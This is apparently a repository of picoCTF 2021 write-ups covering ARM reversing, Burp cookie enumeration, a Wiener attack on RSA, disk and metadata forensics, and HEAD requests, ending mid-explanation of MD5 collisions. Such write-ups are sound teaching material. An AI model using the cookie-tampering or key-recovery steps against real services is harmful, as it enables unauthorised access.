├── .gitattributes ├── ARMssembly-0 └── README.md ├── ARMssembly-1 └── README.md ├── ARMssembly-2 └── README.md ├── Cookies ├── README.md ├── burp_solve.png ├── flag.png ├── payload.png ├── poc-2.png ├── poc.png ├── snickerdoodle.png └── website.png ├── Dachshund_Attacks └── README.md ├── Disk_disk_sleuth └── README.md ├── Disk_disk_sleuth_2 ├── README.md ├── dds2-alpine.flag.img.gz └── flag.png ├── Get_aHEAD ├── README.md └── website.png ├── Information ├── README.md └── cat.jpg ├── It_is_my_birthday ├── README.md ├── erase.pdf ├── hello.pdf └── website.png ├── MacroHard_WeakEdge ├── Forensics is fun.pptm └── README.md ├── Matryoshka_doll └── README.md ├── Milkslap ├── README.md └── slap.png ├── Mind_Your_Ps_and_Qs ├── README.md ├── solve.py └── values ├── Most_Cookies ├── README.md ├── flag.png └── server.py ├── New_caesar ├── README.md └── solve.py ├── Play_nice ├── README.md └── solve.py ├── README.md ├── Scavenger_Hunt ├── README.md ├── website.png └── what.png ├── Some_assembly_required_1 └── README.md ├── Speeds_and_feeds ├── README.md ├── flag-2.png └── flag.png ├── Transformation ├── README.md ├── enc └── solve.py ├── Trivial_Flag_Transfer_Protocol ├── README.md ├── extract.png ├── files.png └── tftp.pcapng ├── Weird_File ├── README.md ├── solve.sh └── weird.docm ├── What's_your_input ├── README.md └── in.py ├── Who_are_you ├── README.md ├── flag.png ├── letmeingif.gif └── website.png ├── Wireshark_doo_dooo_do_doo ├── README.md ├── encrypted.png ├── flag.png ├── follow.png ├── http.png ├── http_200.png ├── sample.png ├── shark1.pcapng └── text.png ├── crackme_py └── README.md ├── easy_peasy ├── README.md └── solve.py ├── keygenme-py ├── README.md ├── keygenme-trial.py └── solve.py └── me.png /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /ARMssembly-0/README.md: -------------------------------------------------------------------------------- 1 | # ARMssembly 0 2 | 3 | Category: Reverse Engineering
4 | AUTHOR: DYLAN MCGUIRE 5 | 6 | ## Description 7 | ``` 8 | What integer does this program print with arguments 4134207980 and 950176538? File: chall.S 9 | Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb}) 10 | ``` 11 | 12 | ## Understanding the basics 13 | 14 | I would say that I am somewhat comfortable with classic `x86` assembly, but I had to learn about `ARM` for this challenge (which I love! Learning new stuff is more than cool). So we can break down the first function, step by step: 15 | ```arm 16 | func1: 17 | sub sp, sp, #16 18 | str w0, [sp, 12] 19 | str w1, [sp, 8] 20 | ldr w1, [sp, 12] 21 | ldr w0, [sp, 8] 22 | cmp w1, w0 23 | bls .L2 24 | ldr w0, [sp, 12] 25 | b .L3 26 | ``` 27 | So here we go. `sp` stands for the stack pointer, and the `sub` instruction is a substraction with three components: 28 | ``` 29 | sub x,y, #z 30 | ``` 31 | Substract `#z` (# denotes a constant value) fro `y` and store it in `x`. Why is this instruction even here? It makes space on the stack for variables, and since we have two, substracting `16` should be just enough. In the next two lines we have some essential instructions: 32 | ``` 33 | str w0, [sp, 12] 34 | str w1, [sp, 8] 35 | ``` 36 | `str` stands for `store`, and `w0` and `w1` are the user input variables. So we `store` the values in `w0` and `w1` on the stack (`sp`). The number denotes the offset on the stack. So `str w0, [sp, 12]` means `store w0 on the stack at offset 12`. Pretty neat. 37 | ``` 38 | ldr w1, [sp, 12] 39 | ldr w0, [sp, 8] 40 | ``` 41 | Here we load the values from the stack at a given offset into a variable. So `load the value at offset 12 on the stack into w1` is equal to `ldr w1, [sp, 12]`. Also neat! And very important. 42 | ``` 43 | cmp w1, w0 44 | ``` 45 | Compare the values by substracting `w0` from `w1`. So basically a `sub` except that we do not store the value. Next! 46 | ``` 47 | bls .L2 48 | ``` 49 | Right, this is a `branch if less` instruction, if `w0` is smaller than `w1` `branch` or `jl` (for the x86 guys) to `.L2`. And at the end load a value again and `b` (simple branch `jmp` in x86). Very nice! 50 | 51 | ## Remaining functions 52 | 53 | ``` 54 | .L2: 55 | ldr w0, [sp, 8] 56 | .L3: 57 | add sp, sp, 16 58 | ret 59 | .size func1, .-func1 60 | .section .rodata 61 | .align 3 62 | ``` 63 | At `.L2` we load a value from the `stack at offset 8` into the variable w0 and continue execution back in `func1`. In `.L3` we just `add` 16 back to `sp`, ie. we fill the stack back again. 64 | 65 | ## Main 66 | 67 | ``` 68 | main: 69 | stp x29, x30, [sp, -48]! 70 | add x29, sp, 0 71 | str x19, [sp, 16] # 4134207980 72 | str w0, [x29, 44] # 950176538 73 | str x1, [x29, 32] 74 | ldr x0, [x29, 32] 75 | add x0, x0, 8 76 | ldr x0, [x0] 77 | bl atoi 78 | mov w19, w0 79 | ldr x0, [x29, 32] 80 | add x0, x0, 16 81 | ldr x0, [x0] 82 | bl atoi 83 | mov w1, w0 # w1 -> 950176538 84 | mov w0, w19 # w0 -> 4134207980 85 | bl func1 86 | mov w1, w0 87 | adrp x0, .LC0 88 | add x0, x0, :lo12:.LC0 89 | bl printf 90 | mov w0, 0 91 | ldr x19, [sp, 16] 92 | ldp x29, x30, [sp], 48 93 | ret 94 | ``` 95 | Here is the main function with my added "comments". So if we add everything together, what happens? If we just skip to the important bit, before branching to `.L3` the value from `[sp, 12]` is loaded and printed! So what is the flag? 96 | ``` 97 | picoCTF{f66b01ec} 98 | ``` 99 | Convert `4134207980` into a 32 bit hex string and that is it. -------------------------------------------------------------------------------- /ARMssembly-1/README.md: -------------------------------------------------------------------------------- 1 | # ARMssembly 1 2 | 3 | Category: Reverse Engineering
4 | AUTHOR: PRANAY GARG 5 | 6 | **Disclaimer! I do not own the challenge file!** 7 | 8 | ## Description 9 | ``` 10 | For what argument does this program print `win` with variables 68, 2 and 3? File: chall_1.S 11 | Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb}) 12 | ``` 13 | 14 | ## Going through the functions 15 | 16 | Yet again we have a `chall_1.S` arm assembly file, so time to look at the functions and go through it. 17 | ``` 18 | func: 19 | sub sp, sp, #32 20 | str w0, [sp, 12] 21 | mov w0, 68 22 | str w0, [sp, 16] 23 | mov w0, 2 24 | str w0, [sp, 20] 25 | mov w0, 3 26 | str w0, [sp, 24] 27 | ldr w0, [sp, 20] 28 | ldr w1, [sp, 16] 29 | lsl w0, w1, w0 30 | str w0, [sp, 28] 31 | ldr w1, [sp, 28] 32 | ldr w0, [sp, 24] 33 | sdiv w0, w1, w0 34 | str w0, [sp, 28] 35 | ldr w1, [sp, 28] 36 | ldr w0, [sp, 12] 37 | sub w0, w1, w0 38 | str w0, [sp, 28] 39 | ldr w0, [sp, 28] 40 | add sp, sp, 32 41 | ret 42 | .size func, .-func 43 | .section .rodata 44 | .align 3 45 | ``` 46 | Right, well that is pretty big. Maybe we can go through it piece by piece, like start with the stores. 47 | ``` 48 | sub sp, sp, #32 49 | str w0, [sp, 12] 50 | mov w0, 68 51 | str w0, [sp, 16] 52 | mov w0, 2 53 | str w0, [sp, 20] 54 | mov w0, 3 55 | str w0, [sp, 24] 56 | ``` 57 | So first we make space on the stack for the variables. Our user input is stored on the `stack at offset 12`, next the `mov` instruction is called. 58 | ``` 59 | mov w0, 68 60 | ``` 61 | The value `68` is moved into `w0`. This is a very easy and straight forward instruction. Going on this value is stored on the `stack at offset 16`. So going on like this, we get: 62 | ``` 63 | stack + 12 = user input 64 | stack + 16 = 68 65 | stack + 20 = 2 66 | stack + 24 = 3 67 | ``` 68 | Now that we know where everything on the stack is, we can move on. 69 | ``` 70 | ldr w0, [sp, 20] 71 | ldr w1, [sp, 16] 72 | lsl w0, w1, w0 73 | str w0, [sp, 28] 74 | ``` 75 | Now `load the number 2 into w0` and `load 68 into w1`. Then the `lsl` instruction is called, which is a left bit shift and store, with the following syntax: 76 | ``` 77 | lsl x,y,z 78 | ``` 79 | Shift the value in `y` by `z` and store the result in `x`. A demonstration of the bit shift ( >> or << in most languages): 80 | ``` 81 | 12 in binary is 00001100 (padded to 8bits) 82 | 83 | now 00001100 << 2 (logical left shift 2) 84 | 85 | take 00001100 move it two bits to the left like so: 86 | 87 | 00001100 << 2 = 00110000 88 | 89 | Convert to decimal = 48 90 | ``` 91 | Now that we know all this, we can yet again move on. 92 | ``` 93 | ldr w1, [sp, 28] 94 | ldr w0, [sp, 24] 95 | sdiv w0, w1, w0 96 | str w0, [sp, 28] 97 | ``` 98 | Start by `loading the value 272 from stack + 28 into w0` (the result of the bit shift!) and `load 3 from stack + 24 into w1`. Next up, the `sdiv` instruction. 99 | ``` 100 | sdiv x,y,z 101 | ``` 102 | Divide `y` by `z` and store in `x`. So in our case `272 // 3 = 90`. And store `90 on the stack + 28`. To keep track of values, here's another listing: 103 | ``` 104 | stack + 12 = user input 105 | stack + 16 = 68 106 | stack + 20 = 2 107 | stack + 24 = 3 108 | stack + 28 = 90 109 | ``` 110 | Good, moving on: 111 | ``` 112 | ldr w1, [sp, 28] 113 | ldr w0, [sp, 12] 114 | sub w0, w1, w0 115 | str w0, [sp, 28] 116 | ldr w0, [sp, 28] 117 | add sp, sp, 32 118 | ret 119 | ``` 120 | And finally `load 90 into w1`, `load the user input into w0` and `substract 90 - user input`. Store the result of this in `stack + 28` and `load that result back into w0`. Return. 121 | 122 | ## Going into main 123 | ``` 124 | main: 125 | stp x29, x30, [sp, -48]! 126 | add x29, sp, 0 127 | str w0, [x29, 28] 128 | str x1, [x29, 16] 129 | ldr x0, [x29, 16] 130 | add x0, x0, 8 131 | ldr x0, [x0] 132 | bl atoi 133 | str w0, [x29, 44] 134 | ldr w0, [x29, 44] 135 | bl func 136 | cmp w0, 0 <---------- 137 | bne .L4 138 | adrp x0, .LC0 139 | add x0, x0, :lo12:.LC0 140 | bl puts 141 | b .L6 142 | ``` 143 | Notice the `cmp` instruction. We want the `w0` variable to be `0`! If it's not, we branch to `.L4` which branches to `.L1`, and we don't want the result to be `.L1` but `.L0`: 144 | ``` 145 | .LC0: 146 | .string "You win!" 147 | .align 3 148 | .LC1: 149 | .string "You Lose :(" 150 | .text 151 | .align 2 152 | .global main 153 | .type main, %function 154 | ``` 155 | 156 | ## Solving 157 | 158 | So what is the important part? Where does our input come into play? 159 | ``` 160 | sub w0, w1, w0 161 | ``` 162 | Here. We want the result of this substraction to be `0`. And since `w1` is 90, we want to input 90! Convert that to hex and make it 32 bits. 163 | ``` 164 | picoCTF{0000005a} 165 | ``` -------------------------------------------------------------------------------- /ARMssembly-2/README.md: -------------------------------------------------------------------------------- 1 | # ARMssembly 2 2 | 3 | Category: Reverse Engineering
4 | AUTHOR: DYLAN MCGUIRE 5 | 6 | **Disclaimer! I do not own any of the challenge files!** 7 | 8 | ## Description 9 | ``` 10 | What integer does this program print with argument 2403814618? File: chall_2.S 11 | Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb}) 12 | ``` 13 | 14 | ## Function analysis 15 | 16 | If you've read my previous ARMssembly writeups, you know the drill. It's time to delv deep into the functions. 17 | ``` 18 | func1: 19 | sub sp, sp, #32 20 | str w0, [sp, 12] 21 | str wzr, [sp, 24] 22 | str wzr, [sp, 28] 23 | b .L2 24 | .L3: 25 | +-->ldr w0, [sp, 24] 26 | | add w0, w0, 3 27 | | str w0, [sp, 24] 28 | | ldr w0, [sp, 28] 29 | | add w0, w0, 1 30 | | str w0, [sp, 28] 31 | .L2: 32 | | ldr w1, [sp, 28] 33 | | ldr w0, [sp, 12] 34 | | cmp w1, w0 35 | +---bcc .L3 36 | ldr w0, [sp, 24] 37 | add sp, sp, 32 38 | ret 39 | .size func1, .-func1 40 | .section .rodata 41 | .align 3 42 | ``` 43 | These are the most important functions for us. And I added an `r2` style loop indicator for myself. Time for `.func1`. 44 | 45 | ### .func1 46 | ``` 47 | func1: 48 | sub sp, sp, #32 49 | str w0, [sp, 12] 50 | str wzr, [sp, 24] 51 | str wzr, [sp, 28] 52 | b .L2 53 | ``` 54 | By now, this should be obvious to you. But we see one peculiar register. `wzr` is a special register, and it holds the value `0`. This allows us to quickly store a 0. 55 | ``` 56 | stack + 12 = 2403814618 57 | stack + 24 = 0 58 | stack + 28 = 0 59 | ``` 60 | And finally just `branch` (jmp in x86) to `.L2`! 61 | 62 | ### .L2 63 | ``` 64 | .L2: 65 | ldr w1, [sp, 28] 66 | ldr w0, [sp, 12] 67 | cmp w1, w0 68 | bcc .L3 69 | ldr w0, [sp, 24] 70 | add sp, sp, 32 71 | ret 72 | .size func1, .-func1 73 | .section .rodata 74 | .align 3 75 | ``` 76 | Now `load 0 into w1` and `load 2403814618 into w0` and compare them. (Which is just a `sub` without storing the value) And most importantly `bcc` branch if the carry flag is set (it is set when w1 < w0)! This is our loop! We could maybe imagine it like this: 77 | ```py 78 | while w1 >= w0: 79 | L3() 80 | ``` 81 | After the loop ends `load a value from stack + 24 into w0`. Return. 82 | 83 | ### .L3 84 | ``` 85 | .L3: 86 | ldr w0, [sp, 24] 87 | add w0, w0, 3 88 | str w0, [sp, 24] 89 | ldr w0, [sp, 28] 90 | add w0, w0, 1 91 | str w0, [sp, 28] 92 | ``` 93 | This is what happens every loop, `Load the value from stack + 24 into w0` and add 3 to it. `Store this value in stack + 24`. Next `load the value from stack + 28 into w0` and add 1 to it. `Store this value in stack + 28`. And we will do this, until `stack + 28 > stack + 12`. 94 | 95 | ## Solving it 96 | 97 | So what do we actually need to do? Well think about it... we just want to loop. But can we do this without looping? `2403814618` loops is quite a lot.... How about we just calculate `2403814618 * 3`, since we know that 3 will be added everytime and this is what will be printed. What is the result? `7211443854` Great! Just turn into hex and... Well not so fast. It needs to be a 32bit number, here's how we convert: 98 | ```py 99 | >>> result = int(hex(7211443854),16) & 0xffffffff 100 | >>> f'{result:08x}' 101 | 'add5e68e' 102 | >>> 103 | ``` 104 | There we go! Wrapped it in `picoCTF{add5e68e}` and done. -------------------------------------------------------------------------------- /Cookies/README.md: -------------------------------------------------------------------------------- 1 | # Cookies 2 | 3 | Category: Web Exploitation 4 |
5 | AUTHOR: MADSTACKS 6 | 7 | ## Description 8 | ``` 9 | Who doesn't love cookies? Try to figure out the best one. 10 | ``` 11 | 12 | ## Looking at the website 13 | 14 | Opening up the given link we are welcomed by the following page: 15 |
16 | 17 | ![website](./website.png) 18 | 19 |
20 | 21 | Good, so we can search for cookies. I fired up `BurpSuite` right away, entered `snickerdoodle` and sent it away! After I got a response from the server my web cookie changed 22 | ``` 23 | name=0 24 | ``` 25 | And this appeared: 26 |
27 | 28 | ![snickerdoodle](./snickerdoodle.png) 29 | 30 |
31 | 32 | ## Burping 33 | 34 | Interesting, we started out at `name=-1`. I wonder if the cookies are in a sequence? I changed my cookie in Burp to `name=1`. Like so: 35 | 36 |
37 | 38 | ![poc](./poc.png) 39 | 40 |
41 | 42 | Sent it with forward and click through to the response. 43 | 44 |
45 | 46 | ![poc-2](./poc-2.png) 47 | 48 |
49 | 50 | Awesome! Now we can go through with intruder. Set a list like so: 51 | 52 |
53 | 54 | ![payload](./payload.png) 55 | 56 |
57 | 58 | Now just fire away! Responses are coming in now, so just sort by `length` and look for the odd one out. I found this: 59 | 60 |
61 | 62 | ![burp_solve](./burp_solve.png) 63 | 64 |
65 | 66 | Could this one be it? 67 | 68 |
69 | 70 | ![flag](./flag.png) 71 | 72 |
73 | And indeed it is! It might look nicer on the webpage, but this is could enough :) 74 | 75 | ``` 76 | picoCTF{3v3ry1_l0v3s_c00k135_94190c8a} 77 | ``` -------------------------------------------------------------------------------- /Cookies/burp_solve.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/burp_solve.png -------------------------------------------------------------------------------- /Cookies/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/flag.png -------------------------------------------------------------------------------- /Cookies/payload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/payload.png -------------------------------------------------------------------------------- /Cookies/poc-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/poc-2.png -------------------------------------------------------------------------------- /Cookies/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/poc.png -------------------------------------------------------------------------------- /Cookies/snickerdoodle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/snickerdoodle.png -------------------------------------------------------------------------------- /Cookies/website.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Cookies/website.png -------------------------------------------------------------------------------- /Dachshund_Attacks/README.md: -------------------------------------------------------------------------------- 1 | # Dachshund Attacks 2 | 3 | Category: Cryptography
4 | AUTHOR: SARA 5 | 6 | ## Description 7 | ``` 8 | What if d is too small? 9 | ``` 10 | 11 | ## Research 12 | 13 | After connecting with netcat: 14 | ``` 15 | Welcome to my RSA challenge! 16 | e: 24306145239119831891057822826171152463533310560588061481342282082293832877043229140944546638772209266341357024664926986499282658640654836421168385674155158010757034371368551464449266158342531284923781100460337336731237334995747794173427317983442414014866351103394165986951821807429589876087730750588747227475 17 | n: 113879656614968219315002292792785016300283621066264891462746855897849984541260238077395872179414479414351940265337417733895597641292673333616687328592787030278301325411879910209868945485563446678554667658812834112484496059760537701323622763502114387050535004354955498047452244677269702789571760082735759416661 18 | c: 33975267070546558291376396894156641020103607950277145572215677351937011883386332628721280056087182329858563172091251439777476221940648453840314586019058031879889240891587737579019948125735285606842093451632409848923515598366204079628214398453946777088376520333236232456361563632867701193232209996182065102638 19 | ``` 20 | Great, so we have pretty big values. Maybe the name of the challenge could help? Try Googling `Dachshund`. A dog that (Americans I think) call a Wiener dog (not kidding). Maybe this has something to do with RSA? Try googling `Wiener RSA`. You should find [this](https://en.wikipedia.org/wiki/Wiener%27s_attack) Wikipedia article. Nice! So maybe we can attack it? Then I searched for existing implementations of this attack in python and found [this](https://github.com/pablocelayes/rsa-wiener-attack/blob/master/RSAwienerHacker.py). 21 | 22 | ## Clone and edit 23 | 24 | So just `git clone` the tool and edit the `RSAwienerHacker.py` source like so: 25 | ```py 26 | if t!=-1 and (s+t)%2==0: 27 | print("Hacked!") 28 | print(d) 29 | return d 30 | ``` 31 | Just let it print `d`. Then give the function the values and run: 32 | ``` 33 | d = 30478129286063770625826157267481725440648795386122572986908262146195842369909 34 | ``` 35 | Great, then I just ran these commands in the python interpreter: 36 | ```py 37 | >>> d = 30478129286063770625826157267481725440648795386122572986908262146195842369909 38 | >>> c = 19670829373448227336612091371853437715641143369845978105227955250203929596122162379586823049655885463258494241031020759090289294678934795410036506457875839111151900146085356632197127300732370877258215371139186168365001274223287909907133192431779175983967706830025744307582355098871766511313408031034363234933 39 | >>> pow(c,d,n) 40 | 198614235373674103788888306985643587194108045477674049828581286653845845629 41 | >>> from Crypto.Util.number import long_to_bytes 42 | >>> long_to_bytes(198614235373674103788888306985643587194108045477674049828581286653845845629) 43 | b'picoCTF{proving_wiener_5086186}' 44 | ``` 45 | There we go! -------------------------------------------------------------------------------- /Disk_disk_sleuth/README.md: -------------------------------------------------------------------------------- 1 | # Disk,disk,sleuth! 2 | 3 | Category: Forensics
4 | AUTHOR: SYREAL 5 | 6 | **Disclaimer! I do not own any of the challenge files!** 7 | 8 | ## Description 9 | ``` 10 | Use `srch_strings` from the sleuthkit and some terminal-fu to find a flag in this disk image: dds1-alpine.flag.img.gz 11 | ``` 12 | 13 | ## The image 14 | 15 | After downloading the image, I used `gunzip` to unzip it and then ran `srch_strings` just as recommended. 16 |
17 | 18 | *NOTE: srch_strings is part of the sleuthkit, which you can downloade [here](https://sleuthkit.org/sleuthkit/download.php)* 19 |
20 | 21 | ``` 22 | srch_strings dds1-alpine.flag.img 23 | ... 24 | mouse 25 | mousedev.ko 26 | serio 27 | psmouse.ko 28 | @1,`@1,`@1,` 29 | @1,`@1,`@1,` 30 | @1,`@1,`@1,` 31 | @1,`@1,`@1,` 32 | @1,`@1,`@1,` 33 | @1,`@1,`@1,` 34 | @1,`@1,`@1,` 35 | @1,`@1,`@1,` 36 | hyperv-keyboard.ko 37 | pcips2.ko 38 | bcache 39 | dm-bio-prison.koHp 40 | dm-bufio.ko 41 | dm-cache-smq.ko 42 | dm-cache.ko 43 | dm-crypt.ko 44 | dm-delay.ko 45 | dm-flakey.koNp 46 | dm-log-userspace.ko 47 | dm-log-writes.koPp 48 | dm-log.ko 49 | dm-mirror.koRp 50 | dm-mod.ko 51 | dm-multipath.ko 52 | dm-queue-length.ko 53 | dm-raid.ko 54 | dm-region-hash.ko 55 | dm-round-robin.ko 56 | dm-service-time.ko 57 | dm-snapshot.ko 58 | dm-switch.ko[p 59 | dm-thin-pool.ko 60 | dm-unstripe.ko 61 | ... 62 | ``` 63 | But the output is absolutely massive... Hey, maybe we can just do a simple grep? 64 | ``` 65 | srch_strings dds1-alpine.flag.img | grep pico 66 | ffffffff81399ccf t pirq_pico_get 67 | ffffffff81399cee t pirq_pico_set 68 | ffffffff820adb46 t pico_router_probe 69 | SAY picoCTF{f0r3ns1c4t0r_n30phyt3_267e38f6} 70 | ``` 71 | Flagalicious! -------------------------------------------------------------------------------- /Disk_disk_sleuth_2/README.md: -------------------------------------------------------------------------------- 1 | # Disk,disk,sleuth! II 2 | 3 | Category: Forensics
4 | AUTHOR: SYREAL 5 | 6 | **Disclaimer! I do not own any of the challenge files!** 7 | 8 | ## Description 9 | ``` 10 | All we know is the file with the flag is named `down-at-the-bottom.txt`... 11 | Disk image: dds2-alpine.flag.img.gz 12 | ``` 13 | 14 | ## Poking around 15 | 16 | So just like last time, I ran `srch_strings`: 17 | ``` 18 | srch_strings dds2-alpine.flag.img | grep pico 19 | ffffffff81399ccf t pirq_pico_get 20 | ffffffff81399cee t pirq_pico_set 21 | ffffffff820adb46 t pico_router_probe 22 | ``` 23 | But nothing this time... maybe some other tools? I tried playing around with the GUI version of tsk `Autopsy`. But it didn't help... so I decided to just install qemu and try and boot into the img from there. 24 | 25 | ## qemu 26 | 27 | Installation (on Kali/Debian): `apt-get install qemu-kvm` 28 |

29 | Then I just ran `qemu-system-x86_64 dds2-alpine.flag.img`. The image booted up, and I searched for `down-at-the-bottom.txt`: 30 | 31 |
32 | 33 | ![flag](./flag.png) 34 | 35 |
36 | 37 | `picoCTF{f0r3ns1c4t0r_n0v1c3_0d9d9ecb}` Great! 38 | -------------------------------------------------------------------------------- /Disk_disk_sleuth_2/dds2-alpine.flag.img.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Disk_disk_sleuth_2/dds2-alpine.flag.img.gz -------------------------------------------------------------------------------- /Disk_disk_sleuth_2/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Disk_disk_sleuth_2/flag.png -------------------------------------------------------------------------------- /Get_aHEAD/README.md: -------------------------------------------------------------------------------- 1 | # Get aHEAD 2 | 3 | AUTHOR: MADSTACKS 4 | 5 | ##Description 6 | 7 | ``` 8 | Find the flag being held on this server to get ahead of the competition 9 | ``` 10 | 11 | ## Solution 12 | 13 | Opening up the website we can see the following: 14 |
15 | 16 | ![website](./website.png) 17 | 18 |
19 | 20 | Okay, so we can change the colour of the page. But what use is that to us? Maybe there is something in the source code. 21 | ```html 22 | 23 | 24 | 25 | Red 26 | 27 | 28 | 29 | 30 |
31 |
32 |
33 |
34 |
35 |

Red

36 |
37 |
38 |
39 | 40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |

Blue

48 |
49 |
50 |
51 | 52 |
53 |
54 |
55 |
56 |
57 |
58 | 59 | 60 | ``` 61 | Also nothing, we can just see that `Red` is set with a GET request, and `Blue` with a POST. Hmm, maybe there is a hint in the name of the challenge? After all, we can send a GET request, POST request or a HEAD. Maybe that is it? 62 | 63 | ### For windows users 64 | In powershell 65 | ```powershell 66 | curl -Uri http://mercury.picoctf.net:15931/ -Method HEAD 67 | 68 | StatusCode : 200 69 | StatusDescription : OK 70 | Content : 71 | RawContent : HTTP/1.1 200 OK 72 | flag: picoCTF{r3j3ct_th3_du4l1ty_82880908} 73 | Content-Type: text/html; charset=UTF-8 74 | 75 | 76 | Forms : {} 77 | Headers : {[flag, picoCTF{r3j3ct_th3_du4l1ty_82880908}], [Content-Type, text/html; charset=UTF-8]} 78 | Images : {} 79 | InputFields : {} 80 | Links : {} 81 | ParsedHtml : mshtml.HTMLDocumentClass 82 | RawContentLength : 0 83 | ``` 84 | Flag! 85 | 86 | ### Linux 87 | ```bash 88 | curl --HEAD http://mercury.picoctf.net:15931/ 89 | 90 | HTTP/1.1 200 OK 91 | flag: picoCTF{r3j3ct_th3_du4l1ty_82880908} 92 | Content-type: text/html; charset=UTF-8 93 | ``` 94 | The same flag! 95 | -------------------------------------------------------------------------------- /Get_aHEAD/website.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Get_aHEAD/website.png -------------------------------------------------------------------------------- /Information/README.md: -------------------------------------------------------------------------------- 1 | # Information 2 | 3 | Category: Forensics
4 | AUTHOR: SUSIE 5 | 6 | ## Description 7 | ``` 8 | Files can always be changed in a secret way. Can you find the flag? cat.jpg 9 | ``` 10 | 11 | ## The image 12 | 13 | Here is our cute little cat: 14 |
15 | 16 | ![cat](./cat.jpg) 17 | 18 |
19 | 20 | Whenever I get an image file, I go and run `file` (to make sure it's an image), `binwalk` (to see if there are hidden files), `strings` and usually I pair that with `grep` and lastly I check the image in a `hexeditor`, just to check the header and such. 21 | ```bash 22 | root@kali:~/CTFs/Picoctf-2021/information-solved# file cat.jpg 23 | cat.jpg: JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2560x1598, components 3 24 | root@kali:~/CTFs/Picoctf-2021/information-solved# binwalk cat.jpg 25 | 26 | DECIMAL HEXADECIMAL DESCRIPTION 27 | -------------------------------------------------------------------------------- 28 | 0 0x0 JPEG image data, JFIF standard 1.02 29 | 30 | root@kali:~/CTFs/Picoctf-2021/information-solved# strings cat.jpg | grep picoCTF{* 31 | root@kali:~/CTFs/Picoctf-2021/information-solved# 32 | ``` 33 | Great, what about the hex? 34 | ``` 35 | ......JFIF...... 36 | .......0Photosho 37 | p 3.0.8BIM...... 38 | ....t..PicoCTF.. 39 | ..........http:/ 40 | /ns.adobe.com/xa 41 | p/1.0/..... 58 | . . 64 | .. . 69 | . 70 | . < 71 | rdf:li xml:lang= 72 | 'x-default'>Pico 73 | CTF. 74 | . . ... 79 | ``` 80 | Interesting... I can see some base64, maybe? `W5M0MpCehiHzreSzNTczkc9d` and `cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9` 81 | 82 | ## Decoding in the terminal 83 | 84 | ### Linux 85 | 86 | Just `echo W5M0MpCehiHzreSzNTczkc9d | base64 -d` and we get beautiful nonsense `[�42���!��573��]r`. So maybe try the next string: 87 | ```bash 88 | echo cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9 | base64 -d 89 | 90 | picoCTF{the_m3tadata_1s_modified} 91 | ``` 92 | Great!! 93 | 94 | ### Windows (PowerShell) 95 | 96 | This looks a little bit more dawnting 97 | ```powershell 98 | [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9')) 99 | picoCTF{the_m3tadata_1s_modified} 100 | ``` 101 | Now, some of you might have just tried `[System.Convert]::FromBase64String('cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9')`. But the encoding specifies is really needed, because `FromBase64String` returns a byte array that then has to be converted. -------------------------------------------------------------------------------- /Information/cat.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Information/cat.jpg -------------------------------------------------------------------------------- /It_is_my_birthday/README.md: -------------------------------------------------------------------------------- 1 | # It is my Birthday 2 | 3 | Category: Web Exploitation
4 | AUTHOR: MADSTACKS 5 | 6 | ## Description 7 | ``` 8 | I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. 9 | ``` 10 | 11 | ## The gimmick 12 | 13 | So someone "secured" their invite cards by making sure that the MD5 hash of their two invites are the same. This is all nice and dandy, except for one problem. MD5 is known to have Hash collisions! "What's that?": 14 | ``` 15 | +-----------------+ 16 | Plain text ====> | Hash function | ====> Hash 17 | +-----------------+ 18 | ``` 19 | This is basically what you can imagine under hashing. One important thing to note, is that one of the required properties for a hash function is that it is irreversible, ie. unlike encryption there is no inverse function that can recover the plaintext from the hash. The other important property is, that for each unique input we should generate a unique output: 20 | ``` 21 | +-----------------+ 22 | Message 1 ====> | Hash function | ====> Hash 1 23 | +-----------------+ 24 | 25 | +-----------------+ 26 | Message 2 ====> | Hash function | 